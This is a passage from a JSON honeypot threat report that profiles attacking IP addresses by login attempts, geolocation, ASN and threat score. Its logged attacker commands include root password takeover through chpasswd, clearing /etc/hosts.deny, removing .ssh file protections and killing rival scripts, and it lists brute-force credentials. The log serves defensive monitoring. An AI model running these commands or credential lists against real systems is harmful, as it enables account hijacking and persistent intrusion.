        "business",
        "clawd",
        "coolify",
        "dis",
        "matin",
        "sftpuser",
        "wm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "0313",
        "12345678",
        "123456aA",
        "123456e",
        "1A2b3C4d",
        "1qaz2wsx88!!",
        "444555",
        "Abc258369",
        "Hh123456@",
        "Marissa123!",
        "P@55w0rd1234!",
        "Passw@rd",
        "Qq112233",
        "Wy@123456",
        "ZXCzxc123",
        "admin786",
        "alessio"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Marissa123!\\noCQIU6PppMMk\\noCQIU6PppMMk\\n\"|passwd",
        "echo \"root:tNlKa70Q7jq2\"|chpasswd|bash",
        "echo \"root:u0wfFGWQvfip\"|chpasswd|bash",
        "echo -e \"Marissa123!\\noCQIU6PppMMk\\noCQIU6PppMMk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 457,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:55:22.028000+00:00",
        "last_seen_30d": "2026-03-27T21:24:35.105000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 97
      }
    },
    "186.96.151.198": {
      "attack_count": 354,
      "first_seen": "2026-03-04T14:01:25.286Z",
      "last_seen": "2026-03-28T05:44:15.026Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W3e",
        "706e642a056c7e894ed5a01e55700004",
        "@Dmin1234",
        "Aaa123456",
        "Admin123@",
        "Admin@123456789",
        "Aq123456",
        "P@ssword!@",
        "QWer1234",
        "Qs123456",
        "Sm123456.",
        "Sushil@123",
        "Xg1",
        "Yx123456!",
        "abcd1234-",
        "arthur",
        "citrix",
        "command"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5PG1oE8DY5t3\"|chpasswd|bash",
        "echo \"root:Hz9kNjstczQx\"|chpasswd|bash",
        "echo \"root:ytgTZI2USOHg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:01:25.286000+00:00",
        "last_seen_30d": "2026-03-28T05:45:22.193000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 354,
        "Suricata": 87
      }
    },
    "1.234.19.14": {
      "attack_count": 326,
      "first_seen": "2026-03-26T18:58:43.776Z",
      "last_seen": "2026-03-28T21:11:04.343Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "systems",
        "emo",
        "pbxsystem",
        "support",
        "admin",
        "centos",
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025",
        "vivo@01011",
        "pbx@01011",
        "SangomaDefaultPassword",
        "StrongPassword123!",
        "netillo123",
        "vicidial"
      ],
      "commands_executed": [
        "echo login_success"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 558,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:58:43.776000+00:00",
        "last_seen_30d": "2026-03-28T21:12:05.715000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 232
      }
    },
    "106.51.92.114": {
      "attack_count": 272,
      "first_seen": "2026-03-06T11:56:12.504Z",
      "last_seen": "2026-03-22T23:46:23.750Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kali",
        "rootuser",
        "admin",
        "andy",
        "be",
        "bea",
        "bot2",
        "brandon",
        "chase",
        "csgo",
        "deployer",
        "jboss",
        "julia",
        "kishore",
        "portal",
        "pzserver",
        "rdp",
        "rsync"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Bea",
        "P@ssw0rd123",
        "Site2030123!",
        "admin_123",
        "andypassword",
        "bepass",
        "bot2password",
        "csgocsgo",
        "deployerpass",
        "juliapass",
        "kalipassword",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"kalipassword\\nFANqgTgkNqyj\\nFANqgTgkNqyj\\n\"|passwd",
        "echo \"root:zueunpu5hUhr\"|chpasswd|bash",
        "echo -e \"kalipassword\\nFANqgTgkNqyj\\nFANqgTgkNqyj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 345,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:56:12.504000+00:00",
        "last_seen_30d": "2026-03-22T23:47:27.549000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 73
      }
    },
    "103.13.207.32": {
      "attack_count": 262,
      "first_seen": "2026-03-11T05:26:02.288Z",
      "last_seen": "2026-03-11T05:56:28.772Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpuser1",
        "netflow",
        "sinusbot",
        "clawd",
        "deploy",
        "ghostadmin",
        "kirill",
        "matin",
        "max",
        "odoo",
        "t128"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "20252025",
        "Matin123",
        "clawd@123",
        "ftpuser1123",
        "kirill1234",
        "netflow2025",
        "t128"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nYa0fTzeYwUy5\\nYa0fTzeYwUy5\\n\"|passwd",
        "echo \"ftpuser1123\\nmmxpKZbDw8E1\\nmmxpKZbDw8E1\\n\"|passwd",
        "echo \"netflow2025\\n3GwG2aOuvr1H\\n3GwG2aOuvr1H\\n\"|passwd",
        "echo -e \"12345678\\nYa0fTzeYwUy5\\nYa0fTzeYwUy5\"|passwd|bash",
        "echo -e \"ftpuser1123\\nmmxpKZbDw8E1\\nmmxpKZbDw8E1\"|passwd|bash",
        "echo -e \"netflow2025\\n3GwG2aOuvr1H\\n3GwG2aOuvr1H\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:26:02.288000+00:00",
        "last_seen_30d": "2026-03-11T05:57:32.700000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 40
      }
    },
    "189.164.231.10": {
      "attack_count": 259,
      "first_seen": "2026-03-03T11:14:06.026Z",
      "last_seen": "2026-03-03T11:42:19.911Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345Qwerty",
        "123abc321",
        "77777777",
        "@",
        "Aaa123321",
        "Bingo@1993",
        "Zk123456",
        "a123456*",
        "kubeadmin",
        "rootuser",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:MwJBdfqNUkIl\"|chpasswd|bash",
        "echo \"root:Uh7K9Ur63oym\"|chpasswd|bash",
        "echo \"root:ac3VN7Cev37t\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:14:06.026000+00:00",
        "last_seen_30d": "2026-03-03T11:43:25.411000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "43.106.92.78": {
      "attack_count": 249,
      "first_seen": "2026-03-23T07:03:43.509Z",
      "last_seen": "2026-03-23T07:18:35.491Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "daemon",
        "backup",
        "debian"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1",
        "daemon12",
        "daemon123",
        "pa$w0rd",
        "passw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T07:01:41.441000+00:00",
        "last_seen_30d": "2026-03-26T22:22:05.429000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 249,
        "Suricata": 120
      }
    },
    "122.168.194.41": {
      "attack_count": 213,
      "first_seen": "2026-03-18T13:11:53.220Z",
      "last_seen": "2026-03-18T13:43:18.056Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ankit",
        "nexus",
        "andrea",
        "angel",
        "claudio",
        "deploy",
        "desarrollo",
        "leonard",
        "proxyuser",
        "stack",
        "web"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456",
        "12345678",
        "12345678AA",
        "6yhn^YHN",
        "Abc1234@",
        "Andrea",
        "angelpass",
        "ankit123",
        "leonardpass",
        "password",
        "redhat123",
        "s123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nPfB5Wt4zV9S0\\nPfB5Wt4zV9S0\\n\"|passwd",
        "echo \"ankit123\\n0FxKfs4R3snB\\n0FxKfs4R3snB\\n\"|passwd",
        "echo -e \"123456\\nPfB5Wt4zV9S0\\nPfB5Wt4zV9S0\"|passwd|bash",
        "echo -e \"ankit123\\n0FxKfs4R3snB\\n0FxKfs4R3snB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T13:11:53.220000+00:00",
        "last_seen_30d": "2026-03-18T13:44:20.069000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "64.225.1.77": {
      "attack_count": 188,
      "first_seen": "2026-03-05T11:12:09.317Z",
      "last_seen": "2026-03-05T11:33:57.313Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A123123S",
        "A12345661",
        "A1234567AA",
        "AA#2024",
        "ABC!@#123",
        "P@ssw0rd2025",
        "Ubuntu@123",
        "aa!2024",
        "aa@123",
        "abcd!@#$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ABC!@#123\\nos9bpF1m5YSM\\nos9bpF1m5YSM\\n\"|passwd",
        "echo \"Ubuntu@123\\nt3mwJniZSpgg\\nt3mwJniZSpgg\\n\"|passwd",
        "echo -e \"ABC!@#123\\nos9bpF1m5YSM\\nos9bpF1m5YSM\"|passwd|bash",
        "echo -e \"Ubuntu@123\\nt3mwJniZSpgg\\nt3mwJniZSpgg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T11:12:09.317000+00:00",
        "last_seen_30d": "2026-03-05T11:34:58.290000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "52.172.177.191": {
      "attack_count": 187,
      "first_seen": "2026-03-21T03:56:03.575Z",
      "last_seen": "2026-03-21T04:17:56.624Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "search",
        "ubuntu",
        "deploy",
        "hasan",
        "tanvir",
        "toor",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "Aa@121212",
        "Password123",
        "Root111111",
        "asdfghjkl",
        "root@123",
        "tanvirpass",
        "toor123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nUzL676PrBK1W\\nUzL676PrBK1W\\n\"|passwd",
        "echo \"root:pV7Sq0SPDYBV\"|chpasswd|bash",
        "echo -e \"1234\\nUzL676PrBK1W\\nUzL676PrBK1W\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:56:03.575000+00:00",
        "last_seen_30d": "2026-03-21T04:19:02.908000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "62.14.96.56": {
      "attack_count": 187,
      "first_seen": "2026-03-15T03:47:12.220Z",
      "last_seen": "2026-03-15T04:07:08.008Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "iwata",
        "root",
        "bin",
        "deploy2",
        "games",
        "mas",
        "msssqladm",
        "pollinate",
        "sqluser",
        "wolfgang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12341234",
        "123456789",
        "@#Rq92u8fjewRweqf45y43tgh3",
        "deploy2",
        "iwata",
        "msssqladm",
        "mynoob",
        "sqluser",
        "wolfgang",
        "zxcvbnm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"iwata\\nc2k76h8sZls6\\nc2k76h8sZls6\\n\"|passwd",
        "echo \"root:DMcouwJzfifl\"|chpasswd|bash",
        "echo -e \"iwata\\nc2k76h8sZls6\\nc2k76h8sZls6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Pulgar",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T03:47:12.220000+00:00",
        "last_seen_30d": "2026-03-15T04:08:17.393000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "103.23.199.154": {
      "attack_count": 186,
      "first_seen": "2026-03-02T11:22:37.160Z",
      "last_seen": "2026-03-02T11:59:06.508Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123456#",
        "Ft123456",
        "Hello123",
        "P@ssw0rd@2025",
        "P@ssw0rdP@ssw0rd",
        "Zz123456.",
        "asdQWE123",
        "qh123456",
        "qwerty123.",
        "zzzz1111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:N6T1OjRm902H\"|chpasswd|bash",
        "echo \"root:TebXNJFTpjn7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
